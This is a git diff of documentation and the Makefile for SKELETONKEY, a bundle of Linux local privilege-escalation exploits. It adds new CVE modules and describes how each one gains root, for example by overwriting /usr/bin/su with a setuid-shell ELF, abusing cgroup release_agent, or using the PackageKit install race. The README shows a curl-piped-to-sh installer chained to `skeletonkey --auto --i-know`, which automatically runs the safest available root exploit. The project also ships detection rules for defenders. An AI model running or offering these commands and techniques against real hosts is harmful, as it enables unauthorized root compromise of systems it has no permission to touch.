| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. | | CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. **Added to CISA KEV 2026-06-02 — now confirmed exploited in the wild.** |
| CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. | | CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. |
| CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. | | CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. |
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `SKELETONKEY_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. | | CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `SKELETONKEY_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
@@ -93,6 +95,12 @@ root on a host can upstream their kernel's offsets via PR.
| CVE-2026-31635 | DirtyDecrypt / DirtyCBC — rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | mainline Linux 7.0 (commit `a2567217ade970ecc458144b6be469bc015b23e5`) | `dirtydecrypt` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. detect() is version-pinned: kernels < 7.0 predate the vulnerable rxgk code (Debian: `<not-affected, vulnerable code not present>` for 5.10/6.1/6.12); kernels ≥ 7.0 have the fix. `--active` probe fires the primitive at a `/tmp` sentinel for empirical override. x86_64. | | CVE-2026-31635 | DirtyDecrypt / DirtyCBC — rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | mainline Linux 7.0 (commit `a2567217ade970ecc458144b6be469bc015b23e5`) | `dirtydecrypt` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. detect() is version-pinned: kernels < 7.0 predate the vulnerable rxgk code (Debian: `<not-affected, vulnerable code not present>` for 5.10/6.1/6.12); kernels ≥ 7.0 have the fix. `--active` probe fires the primitive at a `/tmp` sentinel for empirical override. x86_64. |
| CVE-2026-46300 | Fragnesia — XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised — resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. | | CVE-2026-46300 | Fragnesia — XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised — resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. |
| CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. | | CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
| CVE-2026-46333 | ptrace `__ptrace_may_access` dumpable-race → `pidfd_getfd` credential-fd theft | LPE (steal a root-opened fd / authenticated channel from a process dropping privileges) | mainline 2026-05-14 (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7) | `ptrace_pidfd` | 🟡 | **Qualys TRU disclosure (2026-05-20), exploit not yet VM-verified.** The `__ptrace_may_access` logic flaw leaves a process *dropping* privileges briefly reachable past its `dumpable` boundary; `pidfd_getfd(2)` rides that window. detect() is version-pinned with a predates-gate at `pidfd_getfd`'s 5.6 introduction. exploit() spawns a setuid victim (chage / pkexec / ssh-keysign), `pidfd_open()`s it and sweeps `pidfd_getfd()` across its descriptor table during the credential-drop window, reporting any uid-0-owned fd captured from a non-root context — honest `EXPLOIT_FAIL` without a euid-0 witness; the target-specific full root-pop is not bundled until VM-verified. Arch-agnostic (descriptor theft, no shellcode). `--mitigate` sets `kernel.yama.ptrace_scope=2`; `--cleanup` reverts it. Credit: Qualys TRU. |
| CVE-2025-32462 | sudo `-h`/`--host` policy bypass (Stratascale) | LPE (userspace; abuse a host-restricted sudoers rule for local root) | sudo 1.9.17p1 (2025-06-30) | `sudo_host` | 🟢 | **Stratascale CRU disclosure (Rich Mirch); sibling of `sudo_chwoot`.** sudo's `-h`/`--host` option — meant only to pair with `-l` — was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via `sudo -h <host> <cmd>`. Affects sudo 1.8.8 → 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8; not in KEV. detect() version-gates; exploit() finds an abusable host-restricted rule in readable sudoers (or `SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and pops a root shell only on a uid-0 witness — never fabricates root. Structural (no offsets/race); arch-agnostic. Most relevant to fleet-wide / LDAP / SSSD sudoers. Credit: Rich Mirch / Stratascale. |
| CVE-2026-46243 | CIFSwitch — `cifs.spnego` key type trusts userspace-forged authority fields | LPE (coerce root `cifs.upcall` into loading an attacker NSS module) | fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of `3da1fdf4efbc`, mainline 7.1-rc5) | `cifswitch` | 🟡 | **Asim Manizada disclosure (2026-05-28), public PoC; detect() + add_key primitive VM-verified on Ubuntu 24.04 / 6.8.0-117 (QEMU/HVF, 2026-06-08), full chain + patched-kernel discriminator pending.** ~19-year-old logic flaw in `fs/smb/client/cifs_spnego.c`: the `cifs.spnego` key description carries authority-bearing fields (`pid`/`uid`/`creduid`/`upcall_target`) that root `cifs.upcall` trusts as kernel-originating, but userspace can create such keys via `add_key(2)`/`request_key(2)`. With user+mount namespace tricks, an unprivileged user makes `cifs.upcall` load a malicious NSS `.so` as root. CWE-20; not in KEV. Preconditions: `cifs` module + `cifs-utils` (`cifs.upcall`) + `cifs.spnego` request-key rule (override the probe via `SKELETONKEY_CIFS_ASSUME_PRESENT=1/0`). detect() version-gates and PRECOND_FAILs when the cifs userspace path is absent. exploit() fires only the non-destructive primitive — `add_key(2)` of a forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked immediately — and returns honest `EXPLOIT_FAIL` without a euid-0 witness; the namespace+NSS root-pop is not bundled until VM-verified. Structural; arch-agnostic. `--mitigate` blocklists the `cifs` module; `--cleanup` reverts. Credit: Asim Manizada. |
| CVE-2026-23111 | nf_tables `nft_map_catchall_activate` abort-path UAF (inverted `!`) | LPE (unprivileged userns + nftables → chain UAF → kernel R/W → root) | fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of `f41c5d1`); 5.10 branch still unfixed | `nft_catchall` | 🟡 | **Public reproduction + analysis by FuzzingLabs; reported via the kernel security process. Reconstructed trigger, not yet VM-verified.** A stray `!` in `nft_map_catchall_activate()` makes the transaction-abort path process *active* catch-all map elements instead of skipping them; a catch-all GOTO element drives a chain's use-count to zero so a following DELCHAIN frees it while still referenced → UAF, escalatable via modprobe_path/selinux_state ROP. CWE-416, CVSS 7.8; not in KEV. One more UAF in the corpus's most-covered subsystem; shipped on the same contract as `nf_tables` (CVE-2024-1086). detect() version-gates (catch-all elems arrived ~5.13) AND requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL` — the per-kernel leak + R/W + ROP root-pop is NOT bundled and the trigger is reconstructed from public analysis, not VM-verified. x86_64. Mitigate: upgrade, or `kernel.unprivileged_userns_clone=0`. Credit: FuzzingLabs (public repro) + upstream fix `f41c5d1`. |
| CVE-2026-43499 | GhostLock — rtmutex/futex requeue-PI `remove_waiter()` stack UAF | LPE (unprivileged, **no userns** → kernel-**stack** UAF → near-arbitrary write → root) | fixed 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175 (CNA/Debian backports of `3bfdc63936dd`, mainline 7.1-rc1); 5.15/5.10/5.4/4.19 affected with no upstream fix | `ghostlock` | 🟡 | **VEGA / Nebula Security public PoC ("IonStack part II: GhostLock"); reconstructed trigger, not VM-verified.** ~15-year stack UAF in `kernel/locking/rtmutex.c`: on the `-EDEADLK` deadlock-rollback, `remove_waiter()` runs against `current` instead of the waiter task, so a concurrent PI-chain priority walk (driven via `sched_setattr()` on a sibling CPU) clears `pi_blocked_on` on the wrong task and leaves an on-stack `rt_mutex_waiter` dangling → controlled kernel write when the rbtree is later rotated over the reused frame; weaponised (Android/Pixel) via a KernelSnitch page leak → forged waiter → `struct file` `f_op` → configfs/ashmem R/W → pipe physical R/W → cred patch. Reachable by **any unprivileged user** (CVSS 7.8, PR:L) — plain `futex(2)` + `sched_setattr(2)`, no userns, no capability, only `CONFIG_FUTEX_PI` (universal). CWE-416 (race root cause CWE-362); not in KEV. The corpus's first rtmutex/futex-PI module and its only kernel-**stack** UAF (all others are heap/slab). detect() is a **pure version gate** across a five-branch backport table. exploit() forks a child that (A) deterministically confirms the `-EDEADLK` `remove_waiter()` rollback path is reachable (safe — validated on real hardware) and (B) exercises the actual race a hard-bounded 24 iterations / 2 s with a sibling-CPU `sched_setattr(SCHED_BATCH)` storm — **deliberately under-driven**: no `copy_from_user` widening, no stack-frame spray/reoccupation, and the KernelSnitch leak + R/W + cred-patch chain is NOT bundled (Android/Pixel-specific, per-build offsets). Returns `EXPLOIT_FAIL`. **Lowest `--auto` safety rank (11)** — a won race corrupts the kernel stack. Unlike most races it has a real detection signature (futex requeue-PI returning `EDEADLK` + sibling `sched_setattr(SCHED_BATCH)`); auditd/sigma anchor on `sched_setattr`, falco/eBPF on the requeue-PI-EDEADLK tell; no yara. Arch-neutral trigger (any). Mitigate: upgrade only. Credit: VEGA / Nebula Security. |
| CVE-2026-46242 | Bad Epoll — epoll `ep_remove`/`__fput` teardown race UAF | LPE (unprivileged, **no userns** → cross-cache to `struct file` → kernel R/W → root) | introduced 6.4 (`58c9b016e128`); fixed `a6dc643c6931` (7.1-rc1), stable backport 7.0.13; 6.6/6.12 LTS backports pending; 6.1 and older not affected | `bad_epoll` | 🟡 | **Jaeyoung Chung (`J-jaeyoung`) kernelCTF public PoC; reconstructed trigger, not VM-verified.** Race UAF in `fs/eventpoll.c`: `ep_remove()` clears `file->f_ep` under `f_lock` but keeps using the file (`hlist_del_rcu` + unlock) while a concurrent `__fput()` frees the still-referenced `struct eventpoll` → 8-byte UAF write, weaponised via cross-cache to a `struct file`, `/proc/self/fdinfo` arbitrary read, ROP. Reachable by **any unprivileged user** — no userns, no CONFIG, no capability; there is **no unprivileged-userns stopgap**, only patching. CWE-416 (race root cause CWE-362); not in KEV. The corpus's first epoll / VFS-teardown module and cleanest SMP race. detect() is a **pure version gate** (no active probe — you cannot safely distinguish vulnerable from patched without winning the race). exploit() forks a CPU-pinned child that builds the epoll race pair and exercises the concurrent-close window a hard-bounded 48 attempts / 2s — **deliberately under-driven** because a won race frees a live struct file and rarely trips KASAN (silent-corruption risk) — snapshots the eventpoll slab, and returns `EXPLOIT_FAIL`; the cross-cache reclaim + fdinfo R/W + ROP are NOT bundled. Detection is intentionally weak/structural (epoll syscalls are ubiquitous) — rules key on the post-exploitation euid-0 transition; no yara. **Lowest `--auto` safety rank (12).** x86_64. Mitigate: upgrade only. Credit: Jaeyoung Chung. |
## Operations supported per module ## Operations supported per module
@@ -131,6 +139,8 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
| dirtydecrypt | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) | | dirtydecrypt | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
| fragnesia | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) | | fragnesia | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
| pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) | | pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) |
| ptrace_pidfd | ✓ | ✓ (primitive) | ✓ (yama ptrace_scope=2) | ✓ (restore ptrace_scope) | ✓ (auditd + sigma + falco) |
| sudo_host | ✓ | ✓ | — (upgrade sudo to 1.9.17p1) | — | ✓ (auditd + sigma + falco) |
## Pipeline for additions ## Pipeline for additions
+33 -1
View File
@@ -222,6 +222,36 @@ PIP_DIR := modules/nft_pipapo_cve_2024_26581
PIP_SRCS := $(PIP_DIR)/skeletonkey_modules.c PIP_SRCS := $(PIP_DIR)/skeletonkey_modules.c
PIP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PIP_SRCS)) PIP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PIP_SRCS))
# CVE-2026-46333 ptrace/pidfd_getfd __ptrace_may_access dumpable-race cred-steal (Qualys)
PPF_DIR := modules/ptrace_pidfd_cve_2026_46333
PPF_SRCS := $(PPF_DIR)/skeletonkey_modules.c
PPF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PPF_SRCS))
# CVE-2025-32462 sudo -h/--host policy bypass (Stratascale; sudo family)
SUH_DIR := modules/sudo_host_cve_2025_32462
SUH_SRCS := $(SUH_DIR)/skeletonkey_modules.c
SUH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUH_SRCS))
# CVE-2026-46243 CIFSwitch — cifs.spnego userspace-forged key trust (Asim Manizada)
CIW_DIR := modules/cifswitch_cve_2026_46243
CIW_SRCS := $(CIW_DIR)/skeletonkey_modules.c
CIW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CIW_SRCS))
# CVE-2026-23111 nft_catchall — nf_tables nft_map_catchall_activate abort UAF (FuzzingLabs repro)
NCA_DIR := modules/nft_catchall_cve_2026_23111
NCA_SRCS := $(NCA_DIR)/skeletonkey_modules.c
NCA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NCA_SRCS))
# CVE-2026-46242 bad_epoll — epoll ep_remove-vs-__fput teardown race UAF ("Bad Epoll", J-jaeyoung kernelCTF)
BEP_DIR := modules/bad_epoll_cve_2026_46242
BEP_SRCS := $(BEP_DIR)/skeletonkey_modules.c
BEP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(BEP_SRCS))
# CVE-2026-43499 ghostlock — rtmutex/futex requeue-PI remove_waiter() stack UAF ("GhostLock", VEGA / Nebula Security)
GHL_DIR := modules/ghostlock_cve_2026_43499
GHL_SRCS := $(GHL_DIR)/skeletonkey_modules.c
GHL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(GHL_SRCS))
# Top-level dispatcher # Top-level dispatcher
TOP_OBJ := $(BUILD)/skeletonkey.o TOP_OBJ := $(BUILD)/skeletonkey.o
@@ -234,7 +264,9 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
$(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \ $(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \ $(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \
$(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \ $(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) $(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \
$(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS) $(BEP_OBJS) \
$(GHL_OBJS)
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS) ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
+50 -18
View File
@@ -2,16 +2,17 @@
[![Latest release](https://img.shields.io/github/v/release/KaraZajac/SKELETONKEY?label=release)](https://github.com/KaraZajac/SKELETONKEY/releases/latest) [![Latest release](https://img.shields.io/github/v/release/KaraZajac/SKELETONKEY?label=release)](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
[![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE) [![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)
[![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2034-brightgreen.svg)](docs/VERIFICATIONS.jsonl) [![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2039-brightgreen.svg)](docs/VERIFICATIONS.jsonl)
[![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#) [![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#)
> **One curated binary. 39 Linux LPE modules covering 34 CVEs from 2016 → 2026. > **One curated binary. 45 Linux LPE modules covering 40 CVEs from 2016 → 2026.
> Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux > Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux
> VMs via `tools/verify-vm/`. Detection rules in the box. One command picks > VMs via `tools/verify-vm/`. Detection rules in the box. One command picks
> the safest one and runs it.** > the safest one and runs it.**
```bash ```bash
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \ curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
&& export PATH="$HOME/.local/bin:$PATH" \
&& skeletonkey --auto --i-know && skeletonkey --auto --i-know
``` ```
@@ -44,11 +45,12 @@ for every CVE in the bundle — same project for red and blue teams.
## Corpus at a glance ## Corpus at a glance
**39 modules covering 34 distinct CVEs** across the 2016 → 2026 LPE **45 modules covering 40 distinct CVEs** across the 2016 → 2026 LPE
timeline. **28 of the 34 CVEs have been empirically verified** in real timeline. **28 of the 40 CVEs have been empirically verified** in real
Linux VMs via `tools/verify-vm/`; the 6 still-pending entries are Linux VMs via `tools/verify-vm/`; the 12 still-pending entries are
blocked by their target environment (legacy hypervisor, EOL kernel, or blocked by their target environment (legacy hypervisor, EOL kernel, or
the t64-transition libc rollout), not by missing code. the t64-transition libc rollout) or are brand-new additions awaiting a
VM sweep, not by missing code.
| Tier | Count | What it means | | Tier | Count | What it means |
|---|---|---| |---|---|---|
@@ -66,7 +68,7 @@ af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload · nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
### Empirical verification (28 of 34 CVEs) ### Empirical verification (28 of 40 CVEs)
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
each verdict against a known-target VM. Coverage: each verdict against a known-target VM. Coverage:
@@ -79,15 +81,23 @@ each verdict against a known-target VM. Coverage:
| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup | | Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
| Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev | | Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev |
**Not yet verified (6):** `vmwgfx` (VMware-guest-only — no public Vagrant **Not yet verified (12):** `vmwgfx` (VMware-guest-only — no public Vagrant
box), `dirty_cow` (needs ≤ 4.4 kernel — older than every supported box), box), `dirty_cow` (needs ≤ 4.4 kernel — older than every supported box),
`mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04 `mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04
rootfs — needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel rootfs — needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel
modules not loaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5 modules not loaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5
kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian
13+; no Parallels-supported box has those yet). All six are flagged in 13+; no Parallels-supported box has those yet), `ptrace_pidfd` (brand-new
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with 2026-05 Qualys disclosure — added this cycle, VM sweep pending), `sudo_host`
rationale. (brand-new 2025-06 Stratascale disclosure — added this cycle, VM sweep
pending), `cifswitch` (detect + `add_key` primitive VM-verified; full chain
+ patched-kernel discriminator pending), `nft_catchall` (reconstructed
kernel-UAF trigger, not VM-verified), `bad_epoll` (reconstructed epoll
race trigger — deliberately under-driven, not VM-verified), `ghostlock`
(reconstructed rtmutex/futex-PI stack-UAF trigger — deliberately
under-driven, not VM-verified). All twelve are
flagged in
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with rationale.
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
detection status. Run `skeletonkey --module-info <name>` for the detection status. Run `skeletonkey --module-info <name>` for the
@@ -133,7 +143,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara)
$ skeletonkey --auto --i-know $ skeletonkey --auto --i-know
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64 [*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes [*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
[*] auto: scanning 39 modules for vulnerabilities... [*] auto: scanning 45 modules for vulnerabilities...
[+] auto: dirty_pipe VULNERABLE (safety rank 90) [+] auto: dirty_pipe VULNERABLE (safety rank 90)
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98) [+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
[+] auto: pwnkit VULNERABLE (safety rank 100) [+] auto: pwnkit VULNERABLE (safety rank 100)
@@ -202,8 +212,25 @@ also compile (modules with Linux-only headers stub out gracefully).
## Status ## Status
**v0.9.4 cut 2026-05-28.** 39 modules across 34 CVEs — **every **v0.9.13 cut 2026-07-13.** 45 modules across 40 CVEs — **every
year 2016 → 2026 now covered**. v0.9.0 added 5 gap-fillers year 2016 → 2026 now covered**. Newest: `ghostlock` (CVE-2026-43499,
VEGA / Nebula Security's "GhostLock" — a ~15-year rtmutex/futex requeue-PI
use-after-free on **kernel stack** memory where `remove_waiter()` clears
`pi_blocked_on` on the wrong task during the `-EDEADLK` deadlock-rollback,
raced by a sibling-CPU `sched_setattr()` priority walk; reachable by **any
unprivileged user with no user namespace**; VEGA / Nebula kernelCTF public
PoC ($92k, ~97% stable) — shipped as a deliberately under-driven,
reconstructed trigger anchored on a safe `-EDEADLK` reachability witness
